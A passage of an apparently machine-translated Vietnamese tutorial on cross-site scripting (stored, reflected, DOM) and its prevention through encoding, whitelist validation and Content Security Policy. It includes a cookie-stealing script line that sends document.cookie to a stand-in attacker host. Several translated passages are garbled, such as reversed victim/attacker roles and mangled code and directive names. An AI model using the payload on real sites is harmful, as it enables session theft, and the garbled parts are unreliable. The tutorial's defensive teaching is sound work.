  • Kẻ tấn công là kẻ tấn công có ý định thực hiện một cuộc tấn công vào nạn nhân bằng cách khai thác lỗ hổng XSS trong trang web.
    • Máy chủ của kẻ tấn công là máy chủ web do kẻ tấn công điều khiển với mục đích duy nhất là đánh cắp thông tin bí mật của nạn nhân. Trong ví dụ của chúng tôi, nó nằm ở http://Attacker/.
Kịch bản tấn công mẫu


window.location="http://kẻ tấn công/?cookie="+document.cookie

Tập lệnh này sẽ tạo một yêu cầu HTTP tới một URL khác, URL này sẽ chuyển hướng trình duyệt của người dùng đến máy chủ của kẻ tấn công. URL bao gồm cookie của nạn nhân làm tham số yêu cầu, khi yêu cầu HTTP đến máy chủ của kẻ tấn công, kẻ tấn công có thể trích xuất các cookie này từ yêu cầu. Khi kẻ tấn công đã nhận được cookie, hắn có thể sử dụng chúng để mạo danh nạn nhân và thực hiện cuộc tấn công tiếp theo.

Từ giờ trở đi, mã HTML hiển thị ở trên sẽ được gọi là chuỗi độc hại hoặc tập lệnh độc hại. Điều quan trọng là phải hiểu rằng bản thân chuỗi đó chỉ độc hại nếu cuối cùng nó được hiển thị dưới dạng HTML trong trình duyệt của nạn nhân và điều này chỉ có thể xảy ra nếu có lỗ hổng XSS trên trang web.

Cuộc tấn công ví dụ này hoạt động như thế nào

Sơ đồ dưới đây cho thấy một ví dụ về cuộc tấn công của kẻ tấn công:

  • Kẻ tấn công sử dụng một trong các biểu mẫu của trang web để chèn một chuỗi độc hại vào cơ sở dữ liệu của trang web.
  • Nạn nhân yêu cầu một trang từ một trang web.
  • Trang web bao gồm một chuỗi cơ sở dữ liệu độc hại trong phản hồi và gửi nó cho nạn nhân.
  • Trình duyệt của nạn nhân thực thi một tập lệnh độc hại bên trong phản hồi, gửi cookie của nạn nhân đến máy chủ của kẻ tấn công.
  • Các loại XSS

    Mục tiêu của cuộc tấn công XSS luôn là thực thi tập lệnh JavaScript độc hại trong trình duyệt của nạn nhân. Có một số cách cơ bản khác nhau để đạt được mục tiêu này. Các cuộc tấn công XSS thường được chia thành ba loại:

    • XSS được lưu trữ (liên tục), trong đó chuỗi độc hại bắt nguồn từ cơ sở dữ liệu của trang web.
    • XSS được phản ánh (không liên tục), trong đó chuỗi độc hại được tạo ra từ yêu cầu của nạn nhân.
    • XSS DOM, nơi lỗ hổng xảy ra trong mã phía máy khách chứ không phải mã phía máy chủ.

    Ví dụ trước cho thấy một cuộc tấn công XSS được lưu trữ. Bây giờ chúng ta sẽ mô tả hai loại tấn công XSS khác: tấn công XSS phản ánh và tấn công DOM XSS.

    XSS phản ánh

    Trong một cuộc tấn công XSS được phản ánh, chuỗi độc hại là một phần yêu cầu của nạn nhân đối với trang web. Trang web chấp nhận và chèn chuỗi độc hại này vào phản hồi gửi lại cho người dùng. Sơ đồ dưới đây minh họa kịch bản này:

  • Nạn nhân lừa kẻ tấn công gửi yêu cầu URL đến trang web.
  • Trang web bao gồm một chuỗi độc hại từ yêu cầu URL trong phản hồi gửi tới nạn nhân.
  • Trình duyệt của nạn nhân thực thi tập lệnh độc hại có trong phản hồi, gửi cookie của nạn nhân đến máy chủ của kẻ tấn công.
  • Làm cách nào để thực hiện thành công cuộc tấn công XSS được phản ánh?

    Một cuộc tấn công XSS được phản ánh có vẻ vô hại vì nó yêu cầu nạn nhân thay mặt họ gửi yêu cầu có chứa chuỗi độc hại. Vì không ai tự nguyện tấn công mình nên dường như không có cách nào để thực sự thực hiện cuộc tấn công.

    Hóa ra, có ít nhất hai cách phổ biến để khiến nạn nhân thực hiện một cuộc tấn công XSS phản ánh chống lại chính họ:

    • Nếu người dùng là một người cụ thể, kẻ tấn công có thể gửi một URL độc hại cho nạn nhân (ví dụ: qua email hoặc tin nhắn tức thời) và lừa anh ta mở liên kết để truy cập trang web.
    • Nếu mục tiêu là một nhóm lớn người dùng, kẻ tấn công có thể đăng liên kết tới một URL độc hại (ví dụ: trên trang web hoặc mạng xã hội của chính họ) và đợi khách truy cập nhấp vào liên kết.

    Cả hai phương pháp này đều tương tự nhau và cả hai đều có thể thành công hơn khi sử dụng dịch vụ rút ngắn URL sẽ che dấu chuỗi độc hại khỏi những người dùng có thể nhận dạng được chuỗi đó.

    XSS trong DOM

    XSS trong DOM là một biến thể của cả các cuộc tấn công XSS được lưu trữ và phản ánh. Trong cuộc tấn công XSS này, chuỗi độc hại không được trình duyệt của nạn nhân xử lý cho đến khi JavaScript thực tế của trang web được thực thi. Sơ đồ bên dưới minh họa kịch bản này cho một cuộc tấn công XSS được phản ánh:

  • Kẻ tấn công tạo một URL chứa chuỗi độc hại và gửi nó cho nạn nhân.
  • Nạn nhân lừa kẻ tấn công gửi yêu cầu URL đến trang web.
  • Trang web chấp nhận yêu cầu nhưng không đưa chuỗi độc hại vào phản hồi.
  • Trình duyệt của nạn nhân thực thi tập lệnh hợp pháp có trong phản hồi, khiến tập lệnh độc hại được chèn vào trang.
  • Trình duyệt của nạn nhân thực thi một tập lệnh độc hại được chèn vào trang, gửi cookie của nạn nhân đến máy chủ của kẻ tấn công.
  • Sự khác biệt giữa XSS trong DOM là gì?

    Trong các ví dụ trước về các cuộc tấn công XSS được lưu trữ và phản ánh, máy chủ chèn một tập lệnh độc hại vào một trang, sau đó được chuyển tiếp để phản hồi cho nạn nhân. Khi trình duyệt của nạn nhân nhận được phản hồi, nó sẽ cho rằng tập lệnh độc hại là một phần nội dung hợp pháp của trang và tự động thực thi nó khi trang đang tải, giống như bất kỳ tập lệnh nào khác.

    Trong ví dụ về cuộc tấn công XSS trong DOM, tập lệnh độc hại không được chèn vào như một phần của trang; tập lệnh duy nhất được thực thi tự động trong khi trang đang tải là một phần hợp pháp của trang. Vấn đề là tập lệnh hợp pháp này trực tiếp sử dụng thông tin đầu vào của người dùng để thêm HTML vào trang. Vì chuỗi độc hại được chèn vào trang bằng cách sử dụng InternalHTML nên nó được phân tích cú pháp dưới dạng HTML, khiến tập lệnh độc hại được thực thi.

    Sự khác biệt này tuy nhỏ nhưng rất quan trọng:

    • Trong XSS truyền thống, JavaScript độc hại được thực thi khi trang được tải, như một phần của HTML được máy chủ gửi.
    • Trong trường hợp XSS trong DOM, JavaScript độc hại được thực thi sau khi trang được tải, khiến trang JavaScript hợp pháp truy cập đầu vào của người dùng (có chứa chuỗi độc hại) một cách không an toàn.
    XSS hoạt động như thế nào trong DOM?

    Không cần JavaScript trong ví dụ trước; máy chủ có thể tự tạo tất cả HTML. Nếu mã phía máy chủ không chứa lỗ hổng, trang web sẽ không dễ bị lỗ hổng XSS.

    Tuy nhiên, khi các ứng dụng web trở nên tiên tiến hơn, ngày càng có nhiều trang HTML được tạo bằng cách sử dụng JavaScript ở phía máy khách thay vì trên máy chủ. Bất cứ lúc nào nội dung sẽ thay đổi mà không cần làm mới toàn bộ trang, điều này có thể thực hiện được bằng cách sử dụng JavaScript. Điều này đặc biệt xảy ra khi trang được làm mới sau yêu cầu AJAX.

    Điều này có nghĩa là các lỗ hổng XSS có thể xuất hiện không chỉ trong mã phía máy chủ của trang web mà còn trên mã JavaScript phía máy khách của trang web của bạn. Do đó, ngay cả với mã phía máy chủ hoàn toàn an toàn, mã máy khách vẫn có thể không bao gồm dữ liệu đầu vào của người dùng một cách an toàn khi cập nhật DOM sau khi trang được tải. Nếu điều này xảy ra, mã phía máy khách sẽ cho phép một cuộc tấn công XSS xảy ra mà không phải do lỗi của mã phía máy chủ.

    XSS dựa trên DOM có thể không hiển thị với máy chủ

    Có một trường hợp đặc biệt về cuộc tấn công XSS trong DOM trong đó chuỗi độc hại không bao giờ được gửi đến máy chủ trang web: điều này xảy ra khi chuỗi độc hại được chứa trong đoạn định danh URL (bất kỳ thứ gì sau ký hiệu #). Các trình duyệt không gửi phần URL này đến máy chủ, vì vậy trang web không thể truy cập nó bằng mã phía máy chủ. Tuy nhiên, mã phía máy khách có quyền truy cập vào nó và do đó có thể tiến hành một cuộc tấn công XSS thông qua quá trình xử lý không an toàn.

    Trường hợp này không giới hạn ở ID đoạn. Có thông tin đầu vào khác của người dùng mà máy chủ không thể nhìn thấy, chẳng hạn như các tính năng HTML5 mới như LocalStorage và IndexedDB.

    Một phần ba:
    Phòng ngừa XSS Kỹ thuật phòng ngừa XSS

    Hãy nhớ lại rằng XSS là một cuộc tấn công tiêm mã: thông tin đầu vào của người dùng bị hiểu nhầm là mã độc. Để ngăn chặn kiểu chèn mã này, cần phải xử lý đầu vào an toàn. Đối với nhà phát triển web, có hai cách cơ bản khác nhau để thực hiện xử lý đầu vào an toàn:

    • Mã hóa là phương pháp cho phép người dùng chỉ nhập dữ liệu dưới dạng dữ liệu và không cho phép trình duyệt xử lý dữ liệu đó dưới dạng mã.
    • Xác thực là một cách lọc thông tin đầu vào của người dùng để trình duyệt hiểu nó dưới dạng mã mà không cần các lệnh độc hại.

    Mặc dù về cơ bản đây là các phương pháp giảm thiểu XSS khác nhau nhưng chúng có chung một số tính năng chung cần hiểu rõ khi sử dụng một trong hai phương pháp này:

    Ngữ cảnh Việc xử lý dữ liệu nhập an toàn phải được thực hiện khác nhau tùy thuộc vào vị trí trên trang mà dữ liệu nhập của người dùng được sử dụng. vào/ra Quá trình xử lý đầu vào an toàn có thể được thực hiện khi trang web của bạn nhận được đầu vào (lưu lượng truy cập vào) hoặc ngay trước khi trang web chèn đầu vào của người dùng vào nội dung trang (ra). Máy khách/Máy chủ Quá trình xử lý đầu vào an toàn có thể được thực hiện ở phía máy khách hoặc phía máy chủ, mỗi tùy chọn đều cần thiết trong các trường hợp khác nhau.

    Trước khi giải thích chi tiết cách mã hóa và xác thực hoạt động, chúng tôi sẽ mô tả từng điểm này.

    Xử lý đầu vào của người dùng trong ngữ cảnh

    Có nhiều ngữ cảnh trên một trang web nơi đầu vào của người dùng có thể được áp dụng. Đối với mỗi loại, các quy tắc đặc biệt phải được tuân theo để đảm bảo rằng đầu vào của người dùng không thể thoát khỏi ngữ cảnh của nó và không thể bị hiểu là mã độc. Sau đây là những bối cảnh phổ biến nhất:

    Tại sao bối cảnh lại quan trọng?

    Trong tất cả các bối cảnh được mô tả, lỗ hổng XSS có thể xảy ra nếu đầu vào của người dùng được chèn trước khi mã hóa hoặc xác thực lần đầu. Kẻ tấn công có thể tiêm mã độc chỉ bằng cách chèn dấu phân cách đóng cho ngữ cảnh này, theo sau là mã độc.

    Ví dụ: nếu tại một thời điểm nào đó, một trang web bao gồm dữ liệu nhập của người dùng trực tiếp vào thuộc tính HTML, kẻ tấn công có thể chèn tập lệnh độc hại bằng cách bắt đầu dữ liệu nhập của chúng bằng dấu ngoặc kép, như hiển thị bên dưới:

    Điều này có thể được ngăn chặn bằng cách chỉ cần xóa tất cả dấu ngoặc kép trong đầu vào của người dùng và mọi thứ sẽ ổn, nhưng chỉ trong bối cảnh này. Nếu đầu vào được chèn vào một ngữ cảnh khác, dấu phân cách đóng sẽ khác và có thể thực hiện được việc chèn. Vì lý do này, việc xử lý đầu vào an toàn phải luôn được điều chỉnh cho phù hợp với bối cảnh mà đầu vào của người dùng sẽ được chèn vào.

    Xử lý đầu vào của người dùng đến/đi

    Theo bản năng, có vẻ như XSS có thể được ngăn chặn bằng cách mã hóa hoặc xác thực tất cả dữ liệu đầu vào của người dùng ngay khi trang web của chúng tôi nhận được nó. Bằng cách này, mọi chuỗi độc hại sẽ bị vô hiệu hóa bất cứ khi nào chúng được đưa vào trang và các tập lệnh tạo HTML sẽ không phải lo lắng về việc xử lý dữ liệu đầu vào của người dùng một cách an toàn.

    Vấn đề là, như đã mô tả trước đó, thông tin đầu vào của người dùng có thể được chèn vào nhiều ngữ cảnh trên một trang. Và không có cách nào dễ dàng để xác định thời điểm đầu vào của người dùng đi vào một ngữ cảnh - cuối cùng nó sẽ được chèn như thế nào và cùng một đầu vào của người dùng thường cần phải được chèn vào các ngữ cảnh khác nhau. Bằng cách dựa vào việc xử lý đầu vào đến để ngăn chặn XSS, chúng tôi đang tạo ra một giải pháp rất dễ vỡ và dễ bị lỗi. (Các "dấu ngoặc kép ma thuật" kế thừa của PHP là một ví dụ về giải pháp như vậy.)

    Thay vào đó, việc xử lý dữ liệu đầu vào đi sẽ là tuyến phòng thủ chính của bạn chống lại XSS vì nó có thể tính đến bối cảnh cụ thể của dữ liệu đầu vào mà người dùng sẽ chèn vào. Ở một mức độ nào đó, xác thực gửi đến có thể được sử dụng để thêm lớp bảo mật thứ cấp, nhưng sau này sẽ nói thêm về điều đó.

    Có thể xử lý đầu vào của người dùng một cách an toàn ở đâu?

    Trong hầu hết các ứng dụng web hiện đại, dữ liệu đầu vào của người dùng được xử lý ở cả phía máy chủ và phía máy khách. Để bảo vệ khỏi tất cả các loại XSS, việc xử lý đầu vào an toàn phải được thực hiện ở cả mã phía máy chủ và phía máy khách.

    • Để bảo vệ khỏi XSS truyền thống, việc xử lý đầu vào an toàn phải được thực hiện bằng mã phía máy chủ. Việc này được thực hiện bằng cách sử dụng một số ngôn ngữ được máy chủ hỗ trợ.
    • Để bảo vệ chống lại cuộc tấn công XSS trong DOM, nơi máy chủ không bao giờ nhận được chuỗi độc hại (chẳng hạn như cuộc tấn công đoạn mã định danh được mô tả trước đó), việc xử lý đầu vào an toàn phải được thực hiện trong mã phía máy khách. Điều này được thực hiện bằng cách sử dụng JavaScript.

    Bây giờ chúng tôi đã giải thích tại sao bối cảnh lại quan trọng, tại sao sự khác biệt giữa xử lý đầu vào đến và đi lại quan trọng và tại sao quá trình xử lý đầu vào an toàn phải được thực hiện ở cả hai phía, phía máy khách và phía máy chủ, chúng ta có thể tiếp tục giải thích cách thực hiện cả hai. các loại xử lý đầu vào an toàn (mã hóa và xác nhận) thực sự được thực hiện.

    Mã hóa

    Mã hóa là một cách thoát khỏi tình huống mà trình duyệt chỉ cần diễn giải dữ liệu đầu vào của người dùng dưới dạng dữ liệu chứ không phải mã. Loại mã hóa phổ biến nhất trong phát triển web là mặt nạ HTML, giúp chuyển đổi các ký tự như< и >V.< и >tương ứng.

    Mã giả sau đây là ví dụ về cách đầu vào của người dùng (đầu vào của người dùng) có thể được mã hóa bằng cách sử dụng mặt nạ HTML và sau đó chèn vào một trang bằng tập lệnh phía máy chủ:

    in ""
    in "Bình luận cuối cùng:"
    in mã hóaHtml(userInput)
    in ""

    Nếu người dùng nhập dòng sau..., HTML kết quả sẽ trông như thế này:


    Bình luận cuối cùng:
    ...

    Vì tất cả các ký tự có ý nghĩa đặc biệt đã được thoát nên trình duyệt sẽ không phân tích bất kỳ phần nào trong dữ liệu đầu vào của người dùng như HTML.

    Mã hóa mã phía máy khách và máy chủ

    Khi thực hiện mã hóa phía máy khách, JavaScript luôn được sử dụng, có các hàm tích hợp sẵn để mã hóa dữ liệu cho các ngữ cảnh khác nhau.

    Khi thực hiện mã hóa bằng mã phía máy chủ, bạn dựa vào các tính năng có sẵn trong ngôn ngữ hoặc khung của mình. Do có sẵn số lượng lớn ngôn ngữ và khung, hướng dẫn này sẽ không đề cập chi tiết về mã hóa bằng bất kỳ ngôn ngữ hoặc khung máy chủ cụ thể nào. Tuy nhiên, các hàm mã hóa JavaScript được sử dụng ở phía máy khách cũng được sử dụng khi viết mã phía máy chủ.

    Mã hóa phía khách hàng

    Khi mã hóa dữ liệu đầu vào của người dùng phía máy khách bằng JavaScript, có một số phương thức và thuộc tính tích hợp tự động mã hóa tất cả dữ liệu theo kiểu phân biệt ngữ cảnh:

    Ngữ cảnh cuối cùng đã được đề cập ở trên (các giá trị trong JavaScript) không được đưa vào danh sách này vì JavaScript không cung cấp cách mã hóa dữ liệu tích hợp sẽ được đưa vào mã nguồn JavaScript.

    Hạn chế mã hóa

    Ngay cả khi mã hóa, vẫn có thể sử dụng các chuỗi độc hại trong một số ngữ cảnh. Một ví dụ rõ ràng về điều này là khi thông tin đầu vào của người dùng được sử dụng để cung cấp URL, chẳng hạn như trong ví dụ bên dưới:

    document.querySelector("a").href = userInput

    Mặc dù việc chỉ định một giá trị trên thuộc tính href của một phần tử sẽ tự động mã hóa nó để nó không khác gì một giá trị thuộc tính, nhưng bản thân điều này không ngăn cản kẻ tấn công chèn một URL bắt đầu bằng "javascript:". Khi một liên kết được nhấp vào, bất kể cấu trúc nào, JavaScript được nhúng trong URL sẽ được thực thi.

    Viết mã cũng không phải là giải pháp hiệu quả khi bạn muốn người dùng có thể sử dụng một số mã HTML trên trang. Một ví dụ là trang hồ sơ người dùng nơi người dùng có thể sử dụng HTML tùy chỉnh. Nếu HTML đơn giản này được mã hóa, trang hồ sơ sẽ chỉ có thể bao gồm văn bản thuần túy.

    Trong những tình huống như vậy, việc mã hóa phải được bổ sung bằng việc xác thực, điều mà chúng ta sẽ xem xét sau.

    Thẩm định

    Xác thực là hành động lọc đầu vào của người dùng để loại bỏ tất cả các phần độc hại trong đó mà không cần phải xóa tất cả mã trong đó. Một trong những loại xác thực được sử dụng nhiều nhất trong phát triển web cho phép bạn sử dụng một số thành phần HTML (ví dụ: và ) trong khi vô hiệu hóa các thành phần khác (ví dụ: ).

    Có hai kiểm tra đặc điểm chính, khác nhau trong cách triển khai:

    Chiến lược phân loại Dữ liệu đầu vào của người dùng có thể được phân loại bằng danh sách đen hoặc danh sách trắng. Kết quả xác thực Đầu vào của người dùng được xác định là độc hại có thể bị từ chối hoặc loại bỏ.

    Chiến lược phân loại Danh sách đen

    Theo bản năng, có vẻ thích hợp để thực hiện kiểm tra bằng cách xác định một mẫu bị cấm không được xuất hiện trong đầu vào của người dùng. Nếu một dòng khớp với mẫu này thì nó được đánh dấu là không hợp lệ. Ví dụ: cho phép người dùng gửi URL tùy chỉnh bằng bất kỳ giao thức nào ngoại trừ javascript: . Chiến lược phân loại này được gọi là danh sách đen.

    Tuy nhiên, danh sách đen có hai nhược điểm chính:

    Khó khăn trong việc mô tả chính xác tập hợp tất cả các chuỗi độc hại có thể xảy ra thường là một nhiệm vụ rất khó khăn. Chính sách mẫu được mô tả ở trên không thể được triển khai thành công chỉ bằng cách tìm kiếm chuỗi con "javascript" vì nó sẽ thiếu các chuỗi như "Javascript:" (trong đó chữ cái đầu tiên là chữ hoa) và "javascript:" (trong đó chữ cái đầu tiên được mã hóa dưới dạng số tham chiếu ký tự). Ngừng sử dụng Ngay cả khi một danh sách đen hoàn hảo được phát triển, sẽ vô ích nếu một tính năng mới được thêm vào trình duyệt có thể được sử dụng để tấn công. Ví dụ: nếu danh sách đen xác thực HTML được phát triển trước khi thuộc tính onmousewheel được giới thiệu trong HTML5, thì nó sẽ không thể ngăn kẻ tấn công sử dụng thuộc tính này để thực hiện một cuộc tấn công XSS. Nhược điểm này đặc biệt quan trọng trong phát triển web, vốn bao gồm nhiều công nghệ khác nhau được cập nhật liên tục.

    Vì những thiếu sót này, việc đưa danh sách đen vào danh sách đen không được khuyến khích như một chiến lược phân loại. Lập danh sách trắng nói chung là một cách tiếp cận an toàn hơn nhiều mà chúng tôi sẽ mô tả tiếp theo.

    Danh sách trắng

    Danh sách trắng về cơ bản là đối lập với danh sách đen: thay vì xác định một mẫu bị cấm, cách tiếp cận danh sách trắng xác định một mẫu được phép và đánh dấu đầu vào là không hợp lệ nếu nó không phù hợp với mẫu này.

    Ngược lại với danh sách đen, một ví dụ về danh sách trắng là cho phép người dùng gửi URL tùy chỉnh chỉ chứa các giao thức http: và https:, không có gì hơn. Cách tiếp cận này sẽ cho phép một URL được tự động đánh dấu là không hợp lệ nếu nó chứa giao thức javascript:, ngay cả khi nó được biểu thị dưới dạng "Javascript:" hoặc "javascript:".

    So với danh sách đen, danh sách trắng có hai ưu điểm chính:

    Đơn giản Việc mô tả chính xác tập hợp các chuỗi lành tính thường dễ dàng hơn nhiều so với việc xác định tập hợp tất cả các chuỗi độc hại. Điều này đặc biệt có thể áp dụng trong các tình huống chung trong đó đầu vào của người dùng phải bao gồm một bộ chức năng rất hạn chế có sẵn trong trình duyệt. Ví dụ: danh sách trắng được mô tả ở trên rất đơn giản cho phép các URL chỉ được sử dụng với các giao thức HTTP: hoặc https: được cho phép và trong hầu hết các trường hợp, điều này là khá đủ đối với người dùng. Độ bền Không giống như danh sách đen, danh sách trắng thường không trở nên lỗi thời khi một tính năng mới được thêm vào trình duyệt. Ví dụ: xác thực danh sách trắng HTML chỉ cho phép các thuộc tính tiêu đề của các thành phần HTML được giữ an toàn, ngay cả khi nó (danh sách trắng) được thiết kế trước khi giới thiệu thuộc tính onmousewheel HTML5.

    Kết quả xác thực

    Khi thông tin nhập của người dùng được đánh dấu là không hợp lệ (bị cấm), có thể thực hiện một trong hai hành động:

    Việc từ chối đầu vào chỉ đơn giản là bị từ chối, ngăn không cho nó được sử dụng ở nơi khác trên trang web. Việc khử trùng tất cả các phần không hợp lệ của dữ liệu đầu vào sẽ bị loại bỏ và phần đầu vào còn lại được sử dụng trên website như bình thường.

    Trong số đó, độ lệch là cách tiếp cận đơn giản nhất để thực hiện. Nhưng việc khử trùng được coi là hữu ích hơn vì nó cung cấp nhiều thông tin đầu vào hơn cho người dùng. Ví dụ: nếu người dùng gửi số thẻ tín dụng, quá trình dọn dẹp sẽ xóa tất cả các ký tự không có ký hiệu và ngăn chặn việc tiêm mã, đồng thời cho phép người dùng nhập một số có hoặc không có dấu gạch ngang.

    Nếu bạn quyết định thực hiện khử trùng, bạn cần đảm bảo rằng bản thân quy trình khử trùng không sử dụng phương pháp danh sách đen. Ví dụ: URL "Javascript:...", ngay cả khi được xác định bằng danh sách trắng là không hợp lệ, sẽ nhận được quy trình bỏ qua quá trình dọn dẹp chỉ đơn giản là loại bỏ tất cả các phiên bản của "javascript:". Vì lý do này, các thư viện và framework đã được kiểm tra tốt nên sử dụng tính năng dọn dẹp bất cứ khi nào có thể.

    Nên sử dụng những phương pháp nào để phòng ngừa?

    Mã hóa phải là tuyến phòng thủ đầu tiên của bạn chống lại các cuộc tấn công XSS. Mục đích của nó là xử lý dữ liệu theo cách mà trình duyệt không thể hiểu dữ liệu đầu vào của người dùng là mã. Trong một số trường hợp, việc mã hóa phải được bổ sung bằng việc xác nhận. Mã hóa và xác thực phải được áp dụng cho lưu lượng đi vì chỉ khi đó bạn mới có thể biết đầu vào của người dùng sẽ được áp dụng trong bối cảnh nào cũng như mã hóa và xác thực nào cần được áp dụng.

    Là tuyến phòng thủ thứ hai, bạn nên áp dụng tính năng lọc dữ liệu đến hoặc từ chối dữ liệu đầu vào của người dùng không hợp lệ rõ ràng, chẳng hạn như các liên kết, bằng cách sử dụng giao thức javascript:. Bản thân điều này không thể cung cấp bảo mật hoàn toàn nhưng nó là một biện pháp phòng ngừa hữu ích nếu bất kỳ điểm nào trong quá trình bảo vệ mã hóa và xác thực có thể bị lỗi do thực thi không chính xác.

    Nếu hai tuyến phòng thủ này được sử dụng nhất quán, trang web của bạn sẽ được bảo vệ khỏi các cuộc tấn công XSS. Tuy nhiên, do sự phức tạp của việc tạo và duy trì một trang web, việc cung cấp bảo mật hoàn toàn chỉ bằng cách xử lý đầu vào an toàn của người dùng có thể gặp khó khăn. Là tuyến phòng thủ thứ ba, bạn nên sử dụng Chính sách bảo mật nội dung ( Tiếng Anh Chính sách bảo mật nội dung), sau đó là CSP mà chúng tôi sẽ mô tả bên dưới.

    Chính sách bảo mật nội dung (CSP)

    Chỉ sử dụng xử lý đầu vào an toàn của người dùng để bảo vệ khỏi các cuộc tấn công XSS là không đủ vì ngay cả một lỗi bảo mật cũng có thể làm tổn hại đến trang web của bạn. Việc áp dụng Chính sách bảo mật nội dung (CSP) từ tiêu chuẩn web mới có thể giảm thiểu rủi ro này.

    CSP được sử dụng để hạn chế việc sử dụng trang web của trình duyệt để trình duyệt chỉ có thể sử dụng các tài nguyên được tải xuống từ các nguồn đáng tin cậy. MỘT tài nguyên là các tập lệnh, biểu định kiểu, hình ảnh hoặc một số loại tệp khác được tham chiếu trên một trang. Điều này có nghĩa là ngay cả khi kẻ tấn công cố gắng đưa nội dung độc hại vào trang web của bạn, CSP sẽ có thể ngăn chặn việc thực thi nội dung đó.

    CSP có thể được sử dụng để thực thi các quy tắc sau:

    Cấm các nguồn không đáng tin cậy Chỉ có thể tải xuống các tài nguyên bên ngoài từ một tập hợp các nguồn đáng tin cậy được xác định rõ ràng. Bằng cách không cho phép các tài nguyên được nhúng, JavaScript và CSS nội tuyến sẽ không được tính đến. Việc tắt eval sẽ cấm sử dụng hàm eval trong JavaScript.

    CSP đang hoạt động

    Trong ví dụ sau, kẻ tấn công đã tiêm mã độc vào một trang web:


    Bình luận cuối cùng:

    Với chính sách CSP được xác định chính xác, trình duyệt không thể tải xuống và thực thi mã độc-script.js vì http://Attacker/ không được chỉ định làm nguồn đáng tin cậy. Mặc dù trang web không thể xử lý thông tin đầu vào của người dùng một cách đáng tin cậy trong trường hợp này, nhưng chính sách của CSP đã ngăn lỗ hổng này gây ra bất kỳ tác hại nào.

    Ngay cả khi kẻ tấn công đã chèn mã vào bên trong mã tập lệnh chứ không phải liên kết đến tệp bên ngoài, chính sách CSP được định cấu hình đúng cách cũng sẽ ngăn chặn việc tiêm mã vào mã JavaScript, ngăn chặn lỗ hổng và gây ra bất kỳ tác hại nào.

    Làm cách nào để kích hoạt CSP?

    Theo mặc định, trình duyệt không sử dụng CSP. Để bật SCP trên trang web của bạn, các trang phải chứa tiêu đề HTTP bổ sung: Chính sách bảo mật nội dung. Bất kỳ trang nào chứa tiêu đề này sẽ thực thi các chính sách bảo mật khi được trình duyệt tải, miễn là trình duyệt hỗ trợ CSP.

    Vì chính sách bảo mật được gửi cùng với mọi phản hồi HTTP nên máy chủ có thể đặt chính sách riêng cho từng trang. Chính sách tương tự có thể được áp dụng cho toàn bộ trang web bằng cách chèn cùng một tiêu đề CSP vào mọi phản hồi.

    Giá trị trong tiêu đề Content‑Security‑Policy chứa một chuỗi xác định một hoặc nhiều chính sách bảo mật sẽ chạy trên trang web của bạn. Cú pháp của dòng này sẽ được mô tả dưới đây.

    Các ví dụ về tiêu đề trong phần này sử dụng dấu ngắt dòng và thụt lề để dễ tham khảo; chúng không nên xuất hiện trong tiêu đề thực tế.

    Cú pháp CSP

    Cú pháp tiêu đề CSP như sau:

    Nội dung-Bảo mật-Chính sách:
    chỉ thị biểu thức nguồn, biểu thức nguồn, ...;
    chỉ thị ...;
    ...

    Cú pháp này bao gồm hai phần tử:

    • Chỉ thị là các chuỗi chỉ ra loại tài nguyên được lấy từ một danh sách nhất định.
    • Biểu thức nguồn là mô hình mô tả một hoặc nhiều máy chủ mà tài nguyên có thể được tải từ đó.

    Đối với mỗi lệnh, dữ liệu trong biểu thức nguồn chỉ định nguồn nào có thể được sử dụng để tải tài nguyên thuộc loại tương ứng.

    Chỉ thị

    Các lệnh sau có thể được sử dụng trong tiêu đề CSP:

    • kết nối-src
    • phông chữ-src
    • khung-src
    • img-src
    • media-src
    • đối tượng-src
    • script-src
    • phong cách-src

    Ngoài ra, lệnh default-src đặc biệt có thể được sử dụng để cung cấp giá trị mặc định cho tất cả các lệnh không có trong tiêu đề.

    biểu thức nguồn

    Cú pháp để tạo biểu thức nguồn như sau:

    giao thức:// tên máy chủ: số cổng

    Tên máy chủ có thể bắt đầu bằng *, nghĩa là mọi miền phụ của tên máy chủ được cung cấp sẽ được phân giải. Tương tự, số cổng có thể được biểu diễn dưới dạng *, nghĩa là tất cả các cổng sẽ được phép. Ngoài ra, giao thức và số cổng có thể bị bỏ qua. Nếu không có giao thức nào được chỉ định, chính sách sẽ yêu cầu tải tất cả tài nguyên bằng HTTPS.

    Ngoài cú pháp trên, biểu thức nguồn có thể là một trong bốn từ khóa có ý nghĩa đặc biệt (bao gồm dấu ngoặc kép):

    "không" vô hiệu hóa tài nguyên. "self" cho phép các tài nguyên từ máy chủ lưu trữ trang web. "không an toàn‑nội tuyến" phân giải các tài nguyên có trên trang dưới dạng các phần tử nội tuyến, phần tử và javascript: URL. "unsafe-eval" kích hoạt hàm JavaScript eval .

    Xin lưu ý rằng bất cứ khi nào CSP được sử dụng, các tài nguyên và eval tích hợp sẽ tự động bị tắt theo mặc định. Sử dụng "unsafe-inline" và "unsafe-eval" là cách duy nhất để sử dụng chúng.

    Chính sách mẫu

    Nội dung-Bảo mật-Chính sách:
    script‑src "self" scripts.example.com;
    media‑src "không";
    img‑src *;
    mặc định‑src "tự" http://*.example.com

    Với chính sách mẫu này, trang web sẽ có những hạn chế sau:

    • Các tập lệnh chỉ có thể được tải xuống từ máy chủ lưu trữ trang web và từ địa chỉ này: scripts.example.com.
    • Các tập tin âm thanh và video bị cấm tải xuống.
    • Các tập tin hình ảnh có thể được tải xuống từ bất kỳ địa chỉ nào.
    • Tất cả các tài nguyên khác chỉ có thể được tải từ máy chủ chứa trang web và từ bất kỳ tên miền phụ nào của example.com.
    trạng thái CSP

    Kể từ tháng 6 năm 2013, Chính sách bảo mật nội dung được hiệp hội W3C khuyến nghị. CSP được các nhà phát triển trình duyệt triển khai, nhưng một số phần của nó dành riêng cho các trình duyệt khác nhau. Ví dụ: việc sử dụng tiêu đề HTTP có thể khác nhau giữa các trình duyệt. Trước khi sử dụng CSP, hãy tham khảo tài liệu của trình duyệt bạn dự định hỗ trợ.

    Tóm tắt tóm tắt: Tổng quan về XSS
    • Tấn công XSS là một cuộc tấn công tiêm mã được thực hiện bằng cách xử lý dữ liệu đầu vào của người dùng không an toàn.
    • Một cuộc tấn công XSS thành công cho phép kẻ tấn công thực thi JavaScript độc hại trong trình duyệt của nạn nhân.
    • Một cuộc tấn công XSS thành công sẽ làm tổn hại đến tính bảo mật của cả trang web và người dùng.
    Tóm tắt: Tấn công XSS
    • Có ba loại tấn công XSS chính:
      • XSS được lưu trữ, nơi đầu vào độc hại bắt nguồn từ cơ sở dữ liệu của trang web.
      • XSS được phản ánh, trong đó đầu vào độc hại bắt nguồn từ yêu cầu của nạn nhân.
